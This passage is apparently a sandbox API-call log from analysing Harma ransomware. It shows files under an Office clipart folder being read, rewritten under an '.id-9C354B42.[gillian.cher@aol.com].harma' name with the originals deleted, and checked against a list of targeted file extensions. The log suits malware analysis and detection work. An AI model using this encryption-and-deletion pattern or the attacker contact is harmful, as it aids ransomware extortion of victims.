dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0147.939] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.939] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0147.940] GetLastError () returned 0x0 [0147.940] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xed4, lpOverlapped=0x0) returned 1 [0148.126] WriteFile (in: hFile=0x21c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xee0, lpOverlapped=0x0) returned 1 [0148.672] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0148.673] WriteFile (in: hFile=0x21c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.673] SetEndOfFile (hFile=0x21c) returned 1 [0149.217] CloseHandle (hObject=0x21c) returned 1 [0149.217] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0149.217] SetEndOfFile (hFile=0x34c) returned 1 [0149.219] CloseHandle (hObject=0x34c) returned 1 [0149.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0149.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0149.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0149.252] lstrlenW (lpString=".doc") returned 4 [0149.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.252] lstrlenW (lpString=".docx") returned 5 [0149.252] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0149.252] lstrlenW (lpString=".pdf") returned 4 [0149.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.252] lstrlenW (lpString=".xls") returned 4 [0149.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.252] lstrlenW (lpString=".xlsx") returned 5 [0149.252] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0149.252] lstrlenW (lpString=".ppt") returned 4 [0149.252] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0149.252] lstrlenW (lpString=".zip") returned 4 [0149.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.253] lstrlenW (lpString=".rar") returned 4 [0149.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.253] lstrlenW (lpString=".bz2") returned 4 [0149.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.253] lstrlenW (lpString=".7z") returned 3 [0149.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0149.253] lstrlenW (lpString=".dbf") returned 4 [0149.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0149.253] lstrlenW (lpString=".1cd") returned 4 [0149.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0149.253] lstrlenW (lpString=".jpg") returned 4 [0149.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0149.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0149.253] lstrlenW (lpString=".doc") returned 4 [0149.253] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.253] lstrlenW (lpString=".docx") returned 5 [0149.253] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0149.253] lstrlenW (lpString=".pdf") returned 4 [0149.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.253] lstrlenW (lpString=".xls") returned 4 [0149.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.253] lstrlenW (lpString=".xlsx") returned 5 [0149.253] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0149.253] lstrlenW (lpString=".ppt") returned 4 [0149.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0149.254] lstrlenW (lpString=".zip") returned 4 [0149.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.254] lstrlenW (lpString=".rar") returned 4 [0149.254] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.254] lstrlenW (lpString=".bz2") returned 4 [0149.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.254] lstrlenW (lpString=".7z") returned 3 [0149.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0149.254] lstrlenW (lpString=".dbf") returned 4 [0149.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0149.254] lstrlenW (lpString=".1cd") returned 4 [0149.254] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0149.254] lstrlenW (lpString=".jpg") returned 4 [0149.254] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.254] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0149.254] lstrlenW (lpString="CUP.WMF") returned 7 [0149.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0149.270] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=2966) returned 1 [0149.270] CloseHandle (hObject=0x20c) returned 1 [0149.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 0x20 [0149.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0149.271] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0149.271] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0149.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.271] GetLastError () returned 0x0 [0149.271] ReadFile (in: hFile=0x20c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xb96, lpOverlapped=0x0) returned 1 [0149.273] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xba0, lpOverlapped=0x0) returned 1 [0149.274] ReadFile (in: hFile=0x20c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0149.274] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xe2, lpOverlapped=0x0) returned 1 [0149.274] SetEndOfFile (hFile=0x2e8) returned 1 [0149.274] CloseHandle (hObject=0x2e8) returned 1 [0149.274] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0149.275] SetEndOfFile (hFile=0x20c) returned 1 [0149.277] CloseHandle (hObject=0x20c) returned 1 [0149.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 1 [0149.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0149.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0149.278] lstrlenW (lpString=".doc") returned 4 [0149.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.278] lstrlenW (lpString=".docx") returned 5 [0149.278] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0149.278] lstrlenW (lpString=".pdf") returned 4 [0149.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.278] lstrlenW (lpString=".xls") returned 4 [0149.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.278] lstrlenW (lpString=".xlsx") returned 5 [0149.278] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0149.278] lstrlenW (lpString=".ppt") returned 4 [0149.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0149.278] lstrlenW (lpString=".zip") returned 4 [0149.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.278] lstrlenW (lpString=".rar") returned 4 [0149.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.278] lstrlenW (lpString=".bz2") returned 4 [0149.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.278] lstrlenW (lpString=".7z") returned 3 [0149.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0149.278] lstrlenW (lpString=".dbf") returned 4 [0149.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0149.278] lstrlenW (lpString=".1cd") returned 4 [0149.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0149.278] lstrlenW (lpString=".jpg") returned 4 [0149.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0149.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0149.279] lstrlenW (lpString=".doc") returned 4 [0149.279] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.279] lstrlenW (lpString=".docx") returned 5 [0149.279] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0149.279] lstrlenW (lpString=".pdf") returned 4 [0149.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.279] lstrlenW (lpString=".xls") returned 4 [0149.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.279] lstrlenW (lpString=".xlsx") returned 5 [0149.279] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0149.279] lstrlenW (lpString=".ppt") returned 4 [0149.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0149.279] lstrlenW (lpString=".zip") returned 4 [0149.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.279] lstrlenW (lpString=".rar") returned 4 [0149.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.279] lstrlenW (lpString=".bz2") returned 4 [0149.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.279] lstrlenW (lpString=".7z") returned 3 [0149.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0149.279] lstrlenW (lpString=".dbf") returned 4 [0149.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0149.279] lstrlenW (lpString=".1cd") returned 4 [0149.280] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0149.280] lstrlenW (lpString=".jpg") returned 4 [0149.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.280] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0149.280] lstrlenW (lpString="CUPINST.WMF") returned 11 [0149.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0149.282] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=10326) returned 1 [0149.282] CloseHandle (hObject=0x20c) returned 1 [0149.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 0x20 [0149.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0149.282] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0149.283] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0149.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.283] GetLastError () returned 0x0 [0149.283] ReadFile (in: hFile=0x20c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x2856, lpOverlapped=0x0) returned 1 [0149.285] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x2860, lpOverlapped=0x0) returned 1 [0149.286] ReadFile (in: hFile=0x20c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0149.286] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xea, lpOverlapped=0x0) returned 1 [0149.286] SetEndOfFile (hFile=0x2e8) returned 1 [0149.286] CloseHandle (hObject=0x2e8) returned 1 [0149.286] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0149.286] SetEndOfFile (hFile=0x20c) returned 1 [0149.289] CloseHandle (hObject=0x20c) returned 1 [0149.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0149.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0149.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0149.290] lstrlenW (lpString=".doc") returned 4 [0149.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.290] lstrlenW (lpString=".docx") returned 5 [0149.290] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0149.290] lstrlenW (lpString=".pdf") returned 4 [0149.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.290] lstrlenW (lpString=".xls") returned 4 [0149.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.290] lstrlenW (lpString=".xlsx") returned 5 [0149.290] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0149.290] lstrlenW (lpString=".ppt") returned 4 [0149.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0149.290] lstrlenW (lpString=".zip") returned 4 [0149.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.290] lstrlenW (lpString=".rar") returned 4 [0149.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.290] lstrlenW (lpString=".bz2") returned 4 [0149.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.290] lstrlenW (lpString=".7z") returned 3 [0149.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0149.290] lstrlenW (lpString=".dbf") returned 4 [0149.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0149.290] lstrlenW (lpString=".1cd") returned 4 [0149.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0149.290] lstrlenW (lpString=".jpg") returned 4 [0149.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0149.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0149.291] lstrlenW (lpString=".doc") returned 4 [0149.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.291] lstrlenW (lpString=".docx") returned 5 [0149.291] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0149.291] lstrlenW (lpString=".pdf") returned 4 [0149.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.291] lstrlenW (lpString=".xls") returned 4 [0149.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.291] lstrlenW (lpString=".xlsx") returned 5 [0149.291] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0149.291] lstrlenW (lpString=".ppt") returned 4 [0149.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0149.291] lstrlenW (lpString=".zip") returned 4 [0149.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.291] lstrlenW (lpString=".rar") returned 4 [0149.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.291] lstrlenW (lpString=".bz2") returned 4 [0149.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.291] lstrlenW (lpString=".7z") returned 3 [0149.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0149.292] lstrlenW (lpString=".dbf") returned 4 [0149.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0149.292] lstrlenW (lpString=".1cd") returned 4 [0149.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0149.292] lstrlenW (lpString=".jpg") returned 4 [0149.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.292] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0149.292] lstrlenW (lpString="DD00117_.WMF") returned 12 [0149.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0149.293] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=31122) returned 1 [0149.293] CloseHandle (hObject=0x20c) returned 1 [0149.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x20 [0149.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0149.294] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0149.294] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0149.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 